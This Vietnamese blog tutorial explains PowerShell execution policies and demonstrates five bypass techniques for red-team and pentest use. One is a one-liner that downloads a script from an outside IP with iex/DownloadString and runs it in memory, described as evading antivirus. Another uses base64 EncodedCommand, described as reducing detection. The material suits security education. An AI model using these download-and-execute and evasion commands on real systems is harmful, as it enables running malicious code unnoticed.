+17

Bypass PowerShell execution policies trên Windows

Tổng quan về Powershell

Lịch sử

Năm 2002, Snover của Microsoft nhận ra rằng Command Prompt (cmd.exe) không có khả năng viết script và tự động hóa các tác vụ tốt như shell của Linux (lẽ dĩ nhiên). Để thay đổi điều này, ông đã phát hành tài liệu mang tên Monad, phác thảo các kế hoạch về một công cụ thay thế - thứ sau này sẽ trở thành Powershell.

Từ năm 2006, Monad được đổi tên thành Powershell với số hiệu phiên bản 1.0. Kể từ đó, nó liên tục được bổ sung thêm các tính năng và chuyển thành một dự án Open source.

Powershell hiện tại hỗ trợ cả 3 nền tảng Mac - Linux - Windows.

Sự khác nhau giữa Powershell và CMD

Để so sánh Powershell và CMD là một điều thực sự rất khó vì cơ bản chúng không giống nhau. Mỗi công cụ đều có những lợi ích riêng và cách sử dụng tùy theo từng trường hợp cụ thể. Tuy nhiên nhìn ở góc độ nào đó , Powershell như một bản nâng cấp ưu việt của CMD với nhiều tính năng và chức năng được bổ sung. Powershell có giao diện đồ họa tốt hơn, hỗ trợ các tác vụ tự động hóa tốt hơn, đa nền tảng hơn,được Microsoft chiều hơn (ưu tiên viết riêng một IDE Powershell ISE) , cung cấp khả năng debug tốt hơn.. Nói chung là "xịn" hơn.

Tại sao Hacker lại “thích” Powershell ?

Đơn giản vì Powershell rất mạnh mẽ và cực kỳ thân thiện với Kernel, nó có thể giao tiếp thoải mái với Windows API , tự động hóa hoàn toàn các tác vụ quản trị trên máy tính,hỗ trợ các câu lệnh che dấu bản thân nó trước các phần mềm diệt Virus (trước khi AMSI xuất hiện). Kiểm soát được Powershell đồng nghĩa với việc kiểm soát được máy tính nạn nhân. Microsoft nhận thấy điều này từ rất sớm, qua đó họ phát triển nhiều tính năng nhằm hỗ trợ an toàn cho người sử dụng, một trong số đó là Powershell Execution Policy.

Vậy Powershell Execution Policies là gì ?

Powershell Execution Policies là một tính năng bảo mật được tích hợp sẵn trên Powershell nhằm ngăn chặn việc người dùng vô tình thực thi các tập lệnh độc hại. Tuy nhiên, không giống như Powershell Language Mode đóng vai trò như một Security Policies , Execution Policies rất dễ tính , nó cung cấp sẵn nhiều tùy chọn cho phép người dùng hay kẻ tấn công bỏ qua nó.

Để kiểm tra trạng thái Policies, ta sử dụng câu lệnh sau trên Powershell

Get-ExecutionPolicy
PS C:\Users\viblo> Get-ExecutionPolicy
Restricted

Ở trạng thái mặc định này, khi chạy các tệp lệnh Powershell , hệ thống sẽ trả về thông báo lỗi như sau

Cấu hình Powershell Execution Policies

Để cấu hình Powershell Execution Policies ta sử dụng câu lệnh sau

Set-ExecutionPolicy -ExecutionPolicy [Policy Name]

Tuy nhiên việc thiết lập này cần sử dụng quyền Administrator do nó can thiệp trực tiếp vào Registry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell .

Nếu ta cố gắng thực hiện với tài khoản thông thường, hệ thống sẽ trả về thông báo lỗi sau

Với mỗi mục đích khác nhau, Microsoft lại cung cấp nhiều tùy chọn Powershell Policy Name khác nhau. Việc hiểu rõ về chúng là rất cần thiết trong quá trình tấn công . Ta cùng điểm qua các loại Policy đó với danh sách dưới đây

AllSigned

  • Có thể chạy script
  • Yêu cầu tất cả các scripts và tệp cấu hình phải được signed bởi trusted publisher, bao gồm cả những script mà bạn viết trên chính máy tính khởi chạy
  • Nhắc nhở khi người dùng chạy các scripts từ publisher chưa phân loại là đáng tin cậy
  • Cảnh báo rủi ro khi chạy các scripts đã sign nhưng độc hại
Set-ExecutionPolicy -ExecutionPolicy AllSigned

Bypass

  • Không có gì bị chặn, không có cảnh báo, không có lời nhắc nhở (3 không)
  • Chỉ sử dụng tính năng này, khi hệ thống đã có những hệ thống bảo mật thay thế
Set-ExecutionPolicy -ExecutionPolicy bypass

Default

  • Trên máy Windows thông thường, Policy Default ở trạng thái Restricted
  • Trên Windows Server, Policy Default ở trạng thái RemoteSigned

RemoteSigned

  • Đây là policy mặc định trên Powershell của Windows Server
  • Có thể chạy scripts
  • Với các scripts được tải xuống từ internet được yêu cầu cung cấp chữ ký từ một trusted publisher (Các scripts được tạo ra trên chính máy tính đó thì không cần cung cấp)
  • Thông báo rủi ro khi cố gắng chạy các script không cung cấp được chữ ký hợp lệ hoặc phát hiện tệp tin đó là độc hại
Set-ExecutionPolicy -ExecutionPolicy RemoteSigned

Restricted

  • Đây là policy mặc định trên Powershell của Windows client
  • Cho phép thực hiện các command đơn lẻ, nhưng không cho phép chạy các scripts
  • Ngăn chặn việc chạy các scripts rủi ro cao ở các định dạng .ps1 . .psm1 , ps1xml
Set-ExecutionPolicy -ExecutionPolicy Restricted

Undefined

  • Không phát hiện policy nào trong phạm vi hiện tại, tự động đổi policy về trạng thái mặc định (Restricted với Windows clients và RemoteSigned với Windows Server)
Set-ExecutionPolicy -ExecutionPolicy Undefined

Unrestricted

  • Cho phép chạy các script mà không yêu cầu chữ ký hợp lệ
  • Cảnh báo người dùng trước khi chạy các scripts và tệp cấu hình không tới từ vùng mạng nội bộ
Set-ExecutionPolicy -ExecutionPolicy Unrestricted

Đối tượng bị "áp" Powershell Policies

Để kiểm tra việc thiết lập Policy cho các Object khác nhau, ta sử dụng câu lệnh sau

Get-ExecutionPolicy -List

MachinePolicy

Thiết lập Policy cho toàn bộ Users tồn tại trên máy tính

Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser

UserPolicy

Thiết lập Policy cho từng User hiện diện trên máy tính

Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope UserPolicy

Process

Thiết lập Policy này chỉ ảnh hưởng tới Session Powershell hiện tại do nó được lưu trữ trong biến tạm$env:PSExecutionPolicyPreference . Sẽ biến mất khi Powershell ngắt kết nối

CurrentUser

Thiết lập Policy này chỉ ảnh hưởng đến người dùng hiện tại

Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser

LocalMachine

Chính sách thực thi này ảnh hưởng đến tất cả người dùng trên máy tính hiện tại

Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope LocalMachine

Để xóa bỏ Policy vừa tạo, ta dùng command sau

Set-ExecutionPolicy -ExecutionPolicy Undefined -Scope LocalMachine

Bypass Powershell Execution Policies

Sau khi tìm hiểu rõ hơn về Powershell Execution Policies , ta có thể lợi dụng các tính năng sẵn có trên nền tảng này để thực hành bypass nó

Đầu tiên, ta tạo một script như sau (virus.ps1)

Write-Host "Hello, Viblo.asia"

Đồng thời đảm bảo Policy về trạng thái Restricted

1. Paste script vào Powershell

Cách này nghe có vẻ "củ chuối" nhưng đáng ngạc nhiên là nó rất hiệu quả. Thậm chí nó có thể dùng để bypass luôn AMSI (một thứ rất xịn) 😳

PS C:\Users\viblo\Desktop> Write-Host "Hello , Viblo.asia"
Hello , Viblo.asia

2. Sử dụng echo kết hợp với PIPE

echo 'Write-Host "Hello , Viblo.asia"' | PowerShell.exe -noprofile -

hoặc bypass thông qua một biến thể khác với Get-Content

Get-Content .virus.ps1 | PowerShell.exe -noprofile -

3. Bypass thông qua Invoke Expression

Kỹ thuật này sử dụng Invoke-Expression (iex) để tải xuống scripts PowerShell từ internet và thực thi trực tiếp nó mà không cần phải ghi vào Disk (kỹ thuật này vô hiệu hóa các phần mềm diệt Virus thông thường)

powershell -nop -c "iex (New-Object Net.WebClient).DownloadString ('http://10.0.37.216:8080/virus.ps1')"

4. Sử dụng EncodeCommand Switch

Kỹ thuật này khá giống với cái cách ta Paste trực tiếp command vào Powershell , nhưng thay vì đó tiến hành encode base64 để giảm thiểu khả năng bị phát hiện bởi người dùng và cũng để tăng tính toàn vẹn cho mã khai thác

$command = "write-output 'Hello, Viblo.asia'" 
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command) 
$encodedCommand = [Convert]::ToBase64String($bytes) 
write-output $encodedCommand 
powershell.exe -EncodedCommand $encodedCommand

5. Sử dụng Execution Policy Flag

Kỹ thuật này sử dụng policy của chính Powershell để thực thi mã độc. Đây là phương pháp mình sử dụng nhiều nhất trong quá trình Red Team và Pentest vì tính đơn giản và hiệu quả của nó. Để tiến hành, ta có thể chạy trực tiếp mã khai thác với câu lệnh sau (với Flag bypass)

powerShell.exe -ExecutionPolicy Bypass -File .virus.ps1

Hoặc gián tiếp thông qua Powershell

 powershell -exec bypass powershell
 .\virus.ps1 

Ngoài ra ta có thể sử dụng cách tương tự với các flag UnrestrictedRemote-Signed.

Tổng kết

Qua bài viết, chúng ta đã cùng nhau tìm hiểu thêm về Powershell Execution Policy và các cách thức để đơn giản để bypass nó. Hi vọng sau bài viết, chúng ta đã hiểu hơn về tính năng vô cùng thú vị này. Hẹn gặp lại mọi người ở các bài viết tiếp theo.

Tham khảo

https://stackoverflow.com/questions/67270197/windows-powershell-policy-execution-bypass https://technet.microsoft.com/en-us/library/hh849812.aspx

https://technet.microsoft.com/en-us/library/hh849893.aspx

https://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html

https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_execution_policies?view=powershell-7.2 https://technet.microsoft.com/en-us/library/hh849694.aspx


All Rights Reserved

Viblo
Let's register a Viblo Account to get more interesting posts.